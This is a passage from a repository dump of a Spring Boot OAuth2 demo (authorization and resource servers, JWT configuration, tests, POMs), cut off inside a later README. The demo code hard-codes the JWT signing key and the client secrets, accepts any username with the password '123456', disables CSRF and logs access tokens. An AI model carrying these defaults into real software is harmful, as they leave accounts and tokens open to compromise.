    "content": "package cn.merryyou.security.config;\n\nimport cn.merryyou.security.properties.OAuth2Properties;\nimport cn.merryyou.security.security.jwt.MerryyouJwtTokenEnhancer;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.security.oauth2.provider.token.TokenEnhancer;\nimport org.springframework.security.oauth2.provider.token.TokenStore;\nimport org.springframework.security.oauth2.provider.token.store.JwtAccessTokenConverter;\nimport org.springframework.security.oauth2.provider.token.store.JwtTokenStore;\nimport org.springframework.security.oauth2.provider.token.store.redis.RedisTokenStore;\n\n/**\n * Created on 2018/1/21 0021.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\n@Configuration\npublic class TokenStoreConfig {\n    /**\n     * redis连接工厂\n     */\n    @Autowired\n    private RedisConnectionFactory redisConnectionFactory;\n\n\n    /**\n     * 用于存放token\n     * @return\n     */\n    @Bean\n    @ConditionalOnProperty(prefix = \"merryyou.security.oauth2\", name = \"storeType\", havingValue = \"redis\")\n    public TokenStore redisTokenStore() {\n        return new RedisTokenStore(redisConnectionFactory);\n    }\n\n    /**\n     * jwt TOKEN配置信息\n     */\n    @Configuration\n    @ConditionalOnProperty(prefix = \"merryyou.security.oauth2\", name = \"storeType\", havingValue = \"jwt\", matchIfMissing = true)\n    public static class JwtTokenCofnig{\n\n        @Autowired\n        private OAuth2Properties oAuth2Properties;\n\n        /**\n         * 使用jwtTokenStore存储token\n         * @return\n         */\n        @Bean\n        public TokenStore jwtTokenStore(){\n            return new JwtTokenStore(jwtAccessTokenConverter());\n        }\n\n        /**\n         * 用于生成jwt\n         * @return\n         */\n        @Bean\n        public JwtAccessTokenConverter jwtAccessTokenConverter(){\n            JwtAccessTokenConverter accessTokenConverter = new JwtAccessTokenConverter();\n            accessTokenConverter.setSigningKey(oAuth2Properties.getJwtSigningKey());//生成签名的key\n            return accessTokenConverter;\n        }\n\n        /**\n         * 用于扩展JWT\n         * @return\n         */\n        @Bean\n        @ConditionalOnMissingBean(name = \"jwtTokenEnhancer\")\n        public TokenEnhancer jwtTokenEnhancer(){\n            return new MerryyouJwtTokenEnhancer();\n        }\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/handler/AppLoginInSuccessHandler.java",
    "content": "package cn.merryyou.security.handler;\n\nimport cn.merryyou.security.utils.JsonUtil;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.security.authentication.BadCredentialsException;\nimport org.springframework.security.core.Authentication;\nimport org.springframework.security.crypto.codec.Base64;\nimport org.springframework.security.crypto.password.PasswordEncoder;\nimport org.springframework.security.oauth2.common.OAuth2AccessToken;\nimport org.springframework.security.oauth2.common.exceptions.UnapprovedClientAuthenticationException;\nimport org.springframework.security.oauth2.provider.*;\nimport org.springframework.security.oauth2.provider.token.AuthorizationServerTokenServices;\nimport org.springframework.security.web.authentication.SavedRequestAwareAuthenticationSuccessHandler;\nimport org.springframework.stereotype.Component;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.util.HashMap;\n\n/**\n * APP登录成功处理器\n * Created on 2018/1/21 0021.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\n\n@Slf4j\n@Component(\"appLoginInSuccessHandler\")\npublic class AppLoginInSuccessHandler extends SavedRequestAwareAuthenticationSuccessHandler {\n\n    @Autowired\n    private ObjectMapper objectMapper;\n\n    @Autowired\n    private PasswordEncoder passwordEncoder;\n\n    @Autowired\n    private ClientDetailsService clientDetailsService;\n\n    @Autowired\n    private AuthorizationServerTokenServices authorizationServerTokenServices;\n\n    @Override\n    public void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) throws ServletException, IOException {\n\n        log.info(\"【AppLoginInSuccessHandler】 onAuthenticationSuccess authentication={}\", authentication);\n\n        String header = request.getHeader(\"Authorization\");\n\n        if (header == null || !header.startsWith(\"Basic \")) {\n            throw new UnapprovedClientAuthenticationException(\"请求头中无client信息\");\n        }\n        String[] tokens = this.extractAndDecodeHeader(header, request);\n\n        assert tokens.length == 2;\n\n        String clientId = tokens[0];\n        String clientSecret = tokens[1];\n\n        ClientDetails clientDetails = clientDetailsService.loadClientByClientId(clientId);\n\n        if (clientDetails == null) {\n            throw new UnapprovedClientAuthenticationException(\"clientId 对应的配置信息不存在\" + clientId);\n        } else if (!passwordEncoder.matches(clientSecret, clientDetails.getClientSecret())) {\n            throw new UnapprovedClientAuthenticationException(\"clientSecret 不匹配\" + clientId);\n        }\n\n        TokenRequest tokenRequest = new TokenRequest(new HashMap<>(), clientId, clientDetails.getScope(), \"custom\");\n\n        OAuth2Request oAuth2Request = tokenRequest.createOAuth2Request(clientDetails);\n\n        OAuth2Authentication oAuth2Authentication = new OAuth2Authentication(oAuth2Request, authentication);\n\n        OAuth2AccessToken token = authorizationServerTokenServices.createAccessToken(oAuth2Authentication);\n\n        response.setContentType(\"application/json;charset=UTF-8\");\n        response.getWriter().write(objectMapper.writeValueAsString(token));\n        log.info(\"token={}\", JsonUtil.toJson(token));\n\n    }\n\n    /**\n     * 解码\n     *\n     * @param header\n     * @param request\n     * @return\n     * @throws IOException\n     */\n    private String[] extractAndDecodeHeader(String header, HttpServletRequest request) throws IOException {\n        byte[] base64Token = header.substring(6).getBytes(\"UTF-8\");\n\n        byte[] decoded;\n        try {\n            decoded = Base64.decode(base64Token);\n        } catch (IllegalArgumentException var7) {\n            throw new BadCredentialsException(\"Failed to decode basic authentication token\");\n        }\n\n        String token = new String(decoded, \"UTF-8\");\n        int delim = token.indexOf(\":\");\n        if (delim == -1) {\n            throw new BadCredentialsException(\"Invalid basic authentication token\");\n        } else {\n            return new String[]{token.substring(0, delim), token.substring(delim + 1)};\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/properties/OAuth2ClientProperties.java",
    "content": "package cn.merryyou.security.properties;\n\nimport lombok.Data;\n\n/**\n * Created on 2018/1/24 0024.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\n@Data\npublic class OAuth2ClientProperties {\n\n    private String clientId;\n\n    private String clientSecret;\n\n    private Integer accessTokenValiditySeconds = 7200;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/properties/OAuth2CoreConfig.java",
    "content": "package cn.merryyou.security.properties;\n\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * Created on 2018/1/24 0024.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\n@Configuration\n@EnableConfigurationProperties(OAuth2Properties.class)\npublic class OAuth2CoreConfig {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/properties/OAuth2Properties.java",
    "content": "package cn.merryyou.security.properties;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * Created on 2018/1/24 0024.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\n@Data\n@ConfigurationProperties(prefix = \"merryyou.security.oauth2\")\npublic class OAuth2Properties {\n\n    private String jwtSigningKey = \"merryyou\";\n\n    private OAuth2ClientProperties[] clients = {};\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/security/MyUserDetailsService.java",
    "content": "package cn.merryyou.security.security;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.security.core.authority.AuthorityUtils;\nimport org.springframework.security.core.userdetails.User;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.core.userdetails.UsernameNotFoundException;\nimport org.springframework.security.crypto.password.PasswordEncoder;\nimport org.springframework.stereotype.Component;\n\n/**\n * Created on 2018/1/17.\n *\n * @author zlf\n * @since 1.0\n */\n@Component\npublic class MyUserDetailsService implements UserDetailsService {\n\n    @Autowired\n    private PasswordEncoder passwordEncoder;\n\n    @Override\n    public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {\n        return new User(username, passwordEncoder.encode(\"123456\"), AuthorityUtils.commaSeparatedStringToAuthorityList(\"ROLE_USER\"));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/security/SecurityConfig.java",
    "content": "package cn.merryyou.security.security;//package cn.merryyou.security.security;\n\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\nimport org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;\nimport org.springframework.security.crypto.password.PasswordEncoder;\n\n/**\n * Created on 2018/1/19.\n *\n * @author zlf\n * @since 1.0\n */\n@Configuration\npublic class SecurityConfig extends WebSecurityConfigurerAdapter {\n\n    @Bean\n    @Override\n    public AuthenticationManager authenticationManagerBean() throws Exception {\n        AuthenticationManager manager = super.authenticationManagerBean();\n        return manager;\n    }\n\n    @Bean\n    public PasswordEncoder passwordEncoder() {\n        return new BCryptPasswordEncoder();\n    }\n\n    @Override\n    protected void configure(HttpSecurity http) throws Exception {\n        http\n//                .formLogin().and()\n                .httpBasic().and()\n                .csrf().disable();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/security/jwt/MerryyouJwtTokenEnhancer.java",
    "content": "package cn.merryyou.security.security.jwt;\n\nimport org.springframework.security.oauth2.common.DefaultOAuth2AccessToken;\nimport org.springframework.security.oauth2.common.OAuth2AccessToken;\nimport org.springframework.security.oauth2.provider.OAuth2Authentication;\nimport org.springframework.security.oauth2.provider.token.TokenEnhancer;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * Created on 2018/1/21 0021.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\npublic class MerryyouJwtTokenEnhancer implements TokenEnhancer {\n    @Override\n    public OAuth2AccessToken enhance(OAuth2AccessToken accessToken, OAuth2Authentication authentication) {\n        Map<String, Object> info = new HashMap<>();\n        info.put(\"blog\", \"https://longfeizheng.github.io/\");\n        ((DefaultOAuth2AccessToken) accessToken).setAdditionalInformation(info);\n        return accessToken;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/server/MerryyouAuthorizationServerConfig.java",
    "content": "package cn.merryyou.security.server;\n\nimport cn.merryyou.security.properties.OAuth2ClientProperties;\nimport cn.merryyou.security.properties.OAuth2Properties;\nimport org.apache.commons.lang.ArrayUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.crypto.password.PasswordEncoder;\nimport org.springframework.security.oauth2.config.annotation.builders.InMemoryClientDetailsServiceBuilder;\nimport org.springframework.security.oauth2.config.annotation.configurers.ClientDetailsServiceConfigurer;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.AuthorizationServerConfigurerAdapter;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.EnableAuthorizationServer;\nimport org.springframework.security.oauth2.config.annotation.web.configurers.AuthorizationServerEndpointsConfigurer;\nimport org.springframework.security.oauth2.config.annotation.web.configurers.AuthorizationServerSecurityConfigurer;\nimport org.springframework.security.oauth2.provider.token.TokenEnhancer;\nimport org.springframework.security.oauth2.provider.token.TokenEnhancerChain;\nimport org.springframework.security.oauth2.provider.token.TokenStore;\nimport org.springframework.security.oauth2.provider.token.store.JwtAccessTokenConverter;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Created on 2018/1/15 0015.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\n@Configuration\n@EnableAuthorizationServer\npublic class MerryyouAuthorizationServerConfig extends AuthorizationServerConfigurerAdapter {\n\n    @Autowired\n    private OAuth2Properties oAuth2Properties;\n\n    @Autowired\n    private AuthenticationManager authenticationManager;\n\n    @Autowired\n    private UserDetailsService userDetailsService;\n\n    @Autowired\n    private TokenStore tokenStore;\n\n    @Autowired(required = false)\n    private JwtAccessTokenConverter jwtAccessTokenConverter;\n\n    @Autowired(required = false)\n    private TokenEnhancer jwtTokenEnhancer;\n\n    @Autowired\n    private PasswordEncoder passwordEncoder;\n\n    @Override\n    public void configure(AuthorizationServerEndpointsConfigurer endpoints) throws Exception {\n        endpoints.tokenStore(tokenStore)\n                .authenticationManager(authenticationManager)\n                .userDetailsService(userDetailsService);\n        //扩展token返回结果\n        if (jwtAccessTokenConverter != null && jwtTokenEnhancer != null) {\n            TokenEnhancerChain tokenEnhancerChain = new TokenEnhancerChain();\n            List<TokenEnhancer> enhancerList = new ArrayList();\n            enhancerList.add(jwtTokenEnhancer);\n            enhancerList.add(jwtAccessTokenConverter);\n            tokenEnhancerChain.setTokenEnhancers(enhancerList);\n            //jwt\n            endpoints.tokenEnhancer(tokenEnhancerChain)\n                    .accessTokenConverter(jwtAccessTokenConverter);\n        }\n    }\n\n    /**\n     * 配置客户端一些信息\n     *\n     * @param clients\n     * @throws Exception\n     */\n    @Override\n    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {\n        InMemoryClientDetailsServiceBuilder build = clients.inMemory();\n        if (ArrayUtils.isNotEmpty(oAuth2Properties.getClients())) {\n            for (OAuth2ClientProperties config : oAuth2Properties.getClients()) {\n                build.withClient(config.getClientId())\n                        .secret(passwordEncoder.encode(config.getClientSecret()))\n                        .accessTokenValiditySeconds(config.getAccessTokenValiditySeconds())\n                        .refreshTokenValiditySeconds(60 * 60 * 24 * 15)\n                        .authorizedGrantTypes(\"refresh_token\", \"password\", \"authorization_code\")//OAuth2支持的验证模式\n                        .redirectUris(\"http://www.merryyou.cn\")\n                        .scopes(\"all\");\n            }\n        }\n    }\n\n//    @Override\n//    public void configure(AuthorizationServerSecurityConfigurer oauthServer) {\n//        //允许表单认证\n//        oauthServer.allowFormAuthenticationForClients();\n//        oauthServer.passwordEncoder(passwordEncoder);\n//    }\n\n    /**\n     * springSecurity 授权表达式，\n     * @param security\n     * @throws Exception\n     */\n    @Override\n    public void configure(AuthorizationServerSecurityConfigurer security) throws Exception {\n        security.tokenKeyAccess(\"permitAll()\");\n        security.checkTokenAccess(\"isAuthenticated()\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/server/MerryyouResourceServerConfig.java",
    "content": "package cn.merryyou.security.server;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.EnableResourceServer;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.ResourceServerConfigurerAdapter;\nimport org.springframework.security.web.authentication.AuthenticationSuccessHandler;\n\n/**\n * Created on 2018/1/17.\n *\n * @author zlf\n * @since 1.0\n */\n@Configuration\n@EnableResourceServer\npublic class MerryyouResourceServerConfig extends ResourceServerConfigurerAdapter {\n\n    /**\n     * 自定义登录成功处理器\n     */\n    @Autowired\n    private AuthenticationSuccessHandler appLoginInSuccessHandler;\n\n    @Override\n    public void configure(HttpSecurity http) throws Exception {\n        http.formLogin()\n                .successHandler(appLoginInSuccessHandler)//登录成功处理器\n                .and()\n                .authorizeRequests().anyRequest().authenticated().and()\n                .csrf().disable();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/java/cn/merryyou/security/utils/JsonUtil.java",
    "content": "package cn.merryyou.security.utils;\n\nimport com.google.gson.Gson;\nimport com.google.gson.GsonBuilder;\n\n/**\n * Created on 2018/1/17.\n *\n * @author zlf\n * @since 1.0\n */\npublic class JsonUtil {\n    public static String toJson(Object object){\n        GsonBuilder gsonBuilder = new GsonBuilder();\n        gsonBuilder.setPrettyPrinting();\n        Gson gson = gsonBuilder.create();\n        return gson.toJson(object);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/main/resources/application.yml",
    "content": "server:\n  port: 8888\nspring:\n  redis:\n    host: localhost\n    port: 6379\n    jedis:\n      pool:\n        max-active: 8\n        max-wait: -1s\n        min-idle: 0\n        max-idle: 8\nlogging:\n  level:\n    org.springframework: debug\nmerryyou:\n  security:\n    oauth2:\n      storeType: jwt #或者jwt\n      jwtSigningKey: merryyou\n      clients[0]:\n        clientId: merryyou\n        clientSecret: merryyou\n      clients[1]:\n              clientId: merryyou1\n              clientSecret: merryyou1\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/authorization-server/src/test/java/cn/merryyou/security/SpringBoot2Oauth2Test.java",
    "content": "package cn.merryyou.security;\n\nimport cn.merryyou.security.utils.JsonUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.codec.binary.Base64;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.http.*;\nimport org.springframework.security.oauth2.common.OAuth2AccessToken;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.util.LinkedMultiValueMap;\nimport org.springframework.util.MultiValueMap;\nimport org.springframework.web.client.RestTemplate;\n\n/**\n * Created on 2018/4/28.\n *\n * @author zlf\n * @since 1.0\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\n@Slf4j\npublic class SpringBoot2Oauth2Test {\n    //端口\n    final static long PORT = 8888;\n    //clientId\n    final static String CLIENT_ID = \"merryyou\";\n    //clientSecret\n    final static String CLIENT_SECRET = \"merryyou\";\n    //用户名\n    final static String USERNAME = \"admin\";\n    //密码\n    final static String PASSWORD = \"123456\";\n    //获取accessToken得URI\n    final static String TOKEN_REQUEST_URI = \"http://127.0.0.1:\" + PORT + \"/oauth/token?grant_type=password&username=\" + USERNAME + \"&password=\" + PASSWORD + \"&scope=all\";\n    //获取用户信息得URL\n    final static String USER_INFO_URI = \"http://127.0.0.1:\" + PORT + \"/userRedis\";\n    //登录地址\n    final static String SIGN_IN_URI = \"http://127.0.0.1:\" + PORT + \"/login\";\n\n    @Test\n    public void getUserInfo() throws Exception {\n        RestTemplate rest = new RestTemplate();\n        HttpHeaders headers = new HttpHeaders();\n        headers.add(\"authorization\", \"bearer \" + getAccessToken());\n        HttpEntity<String> entity = new HttpEntity<String>(null, headers);\n        // pay attention, if using get with headers, should use exchange instead of getForEntity / getForObject\n        ResponseEntity<String> result = rest.exchange(USER_INFO_URI, HttpMethod.GET, entity, String.class, new Object[]{null});\n        log.info(\"用户信息返回的结果={}\", JsonUtil.toJson(result));\n    }\n\n    /**\n     * 用户名密码登录\n     * @throws Exception\n     */\n    @Test\n    public void signInTest() throws Exception {\n        RestTemplate rest = new RestTemplate();\n        HttpHeaders headers = new HttpHeaders();\n        headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);\n        headers.add(\"authorization\", getBasicAuthHeader());\n\n        MultiValueMap<String, String> params = new LinkedMultiValueMap<>();\n        params.add(\"username\", \"admin\");\n        params.add(\"password\", \"123456\");\n\n        HttpEntity<?> entity = new HttpEntity(params, headers);\n        // pay attention, if using get with headers, should use exchange instead of getForEntity / getForObject\n        ResponseEntity<String> result = rest.exchange(SIGN_IN_URI, HttpMethod.POST, entity, String.class, new Object[]{null});\n        log.info(\"登录信息返回的结果={}\", JsonUtil.toJson(result));\n    }\n\n    /**\n     * 获取accessToken\n     *\n     * @return\n     */\n    private String getAccessToken() {\n        RestTemplate rest = new RestTemplate();\n        HttpHeaders headers = new HttpHeaders();\n        headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);\n        headers.add(\"authorization\", getBasicAuthHeader());\n        HttpEntity<String> entity = new HttpEntity<String>(null, headers);\n        ResponseEntity<OAuth2AccessToken> resp = rest.postForEntity(TOKEN_REQUEST_URI, entity, OAuth2AccessToken.class);\n        if (!resp.getStatusCode().equals(HttpStatus.OK)) {\n            throw new RuntimeException(resp.toString());\n        }\n        OAuth2AccessToken t = resp.getBody();\n        log.info(\"accessToken={}\", JsonUtil.toJson(t));\n        log.info(\"the response, access_token: \" + t.getValue() + \"; token_type: \" + t.getTokenType() + \"; \"\n                + \"refresh_token: \" + t.getRefreshToken() + \"; expiration: \" + t.getExpiresIn() + \", expired when:\" + t.getExpiration());\n        return t.getValue();\n\n    }\n\n    /**\n     * 构建header\n     *\n     * @return\n     */\n    private String getBasicAuthHeader() {\n        String auth = CLIENT_ID + \":\" + CLIENT_SECRET;\n        byte[] encodedAuth = Base64.encodeBase64(auth.getBytes());\n        String authHeader = \"Basic \" + new String(encodedAuth);\n        return authHeader;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_oauth2</artifactId>\n    <version>1.0</version>\n    <packaging>pom</packaging>\n    <modules>\n        <module>authorization-server</module>\n        <module>resource-server</module>\n    </modules>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>io.spring.platform</groupId>\n                <artifactId>platform-bom</artifactId>\n                <version>Cairo-RELEASE</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>Finchley.RC1</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>2.3.2</version>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n            <!--打包-->\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>repackage</goal><!--把依赖的包都打包到生成的Jar包中-->\n                        </goals>\n                    </execution>\n                </executions>\n            </plugin>\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>spring-snapshots</id>\n            <name>Spring Snapshots</name>\n            <url>https://repo.spring.io/snapshot</url>\n            <snapshots>\n                <enabled>true</enabled>\n            </snapshots>\n        </repository>\n        <repository>\n            <id>spring-milestones</id>\n            <name>Spring Milestones</name>\n            <url>https://repo.spring.io/milestone</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>spring-snapshots</id>\n            <name>Spring Snapshots</name>\n            <url>https://repo.spring.io/snapshot</url>\n            <snapshots>\n                <enabled>true</enabled>\n            </snapshots>\n        </pluginRepository>\n        <pluginRepository>\n            <id>spring-milestones</id>\n            <name>Spring Milestones</name>\n            <url>https://repo.spring.io/milestone</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/resource-server/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>springboot_oauth2</artifactId>\n        <version>1.0</version>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>resource-server</artifactId>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-starter-oauth2</artifactId>\n        </dependency>\n\n\n    </dependencies>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/resource-server/src/main/java/cn/merryyou/security/SpringBoot2Oauth2ResourceApplication.java",
    "content": "package cn.merryyou.security;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.security.access.prepost.PreAuthorize;\nimport org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.ResourceServerConfigurerAdapter;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Created on 2018/5/3 0003.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\n@SpringBootApplication\n@RestController\n@EnableGlobalMethodSecurity(prePostEnabled = true)//开启注解\npublic class SpringBoot2Oauth2ResourceApplication extends ResourceServerConfigurerAdapter {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBoot2Oauth2ResourceApplication.class, args);\n    }\n\n    @RequestMapping(value = \"/api\")\n    @PreAuthorize(\"hasRole('ROLE_USER')\")\n    public String success() {\n        return \"SUCCESS\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/resource-server/src/main/java/cn/merryyou/security/resource/MerryyouResourceServerConfiguration.java",
    "content": "package cn.merryyou.security.resource;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.EnableResourceServer;\nimport org.springframework.security.oauth2.config.annotation.web.configuration.ResourceServerConfigurerAdapter;\n\n/**\n * Created on 2018/5/5 0005.\n *\n * @author zlf\n * @email i@merryyou.cn\n * @since 1.0\n */\n@Configuration\n@EnableResourceServer\npublic class MerryyouResourceServerConfiguration extends ResourceServerConfigurerAdapter {\n\n\n    @Override\n    public void configure(HttpSecurity http) throws Exception {\n        http.csrf().disable().authorizeRequests().antMatchers(\"/**\").authenticated().antMatchers(HttpMethod.GET, \"/api\")\n                // 拦截用户，必须具有所列权限\n                .hasAuthority(\"ROLE_USER\");\n    }\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_oauth2/resource-server/src/main/resources/application.yml",
    "content": "auth-server: http://localhost:8888 # sso-server地址\nserver:\n  port: 8889\nsecurity:\n  oauth2:\n    client:\n      client-id: merryyou\n      client-secret: merryyou\n      user-authorization-uri: ${auth-server}/oauth/authorize #请求认证的地址\n      access-token-uri: ${auth-server}/oauth/token #请求令牌的地址\n    resource:\n      jwt:\n        key-uri: ${auth-server}/oauth/token_key\n      user-info-uri: ${auth-server}/user/me\n      token-info-uri: ${auth-server}/oauth/check_token\nlogging:\n  level:\n    org.springframework: debug"
  },
  {
    "path": "jun_springboot_plugin/springboot_orm_jdbctemplate/README.md",
    "content": "# spring-boot-demo-orm-jdbctemplate\n> 本 demo 主要演示了Spring Boot如何使用 JdbcTemplate 操作数据库，并且简易地封装了一个通用的 Dao 层，包括增删改查。\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n   <modelVersion>4.0.0</modelVersion>\n\n   <artifactId>spring-boot-demo-orm-jdbctemplate</artifactId>\n   <version>1.0.0-SNAPSHOT</version>\n   <packaging>jar</packaging>\n\n   <name>spring-boot-demo-orm-jdbctemplate</name>\n   <description>Demo project for Spring Boot</description>\n\n   <parent>\n      <groupId>io.github.wujun728</groupId>\n      <artifactId>spring-boot-demo</artifactId>\n      <version>1.0.0-SNAPSHOT</version>\n   </parent>\n\n   <properties>\n      <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n      <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n      <java.version>1.8</java.version>\n   </properties>\n\n   <dependencies>\n      <dependency>\n         <groupId>org.springframework.boot</groupId>\n         <artifactId>spring-boot-starter-jdbc</artifactId>\n      </dependency>\n\n      <dependency>\n         <groupId>org.springframework.boot</groupId>\n         <artifactId>spring-boot-starter-web</artifactId>\n      </dependency>\n\n      <dependency>\n         <groupId>org.springframework.boot</groupId>\n         <artifactId>spring-boot-starter-test</artifactId>\n         <scope>test</scope>\n      </dependency>\n\n      <dependency>\n         <groupId>mysql</groupId>\n         <artifactId>mysql-connector-java</artifactId>\n      </dependency>\n\n      <dependency>\n         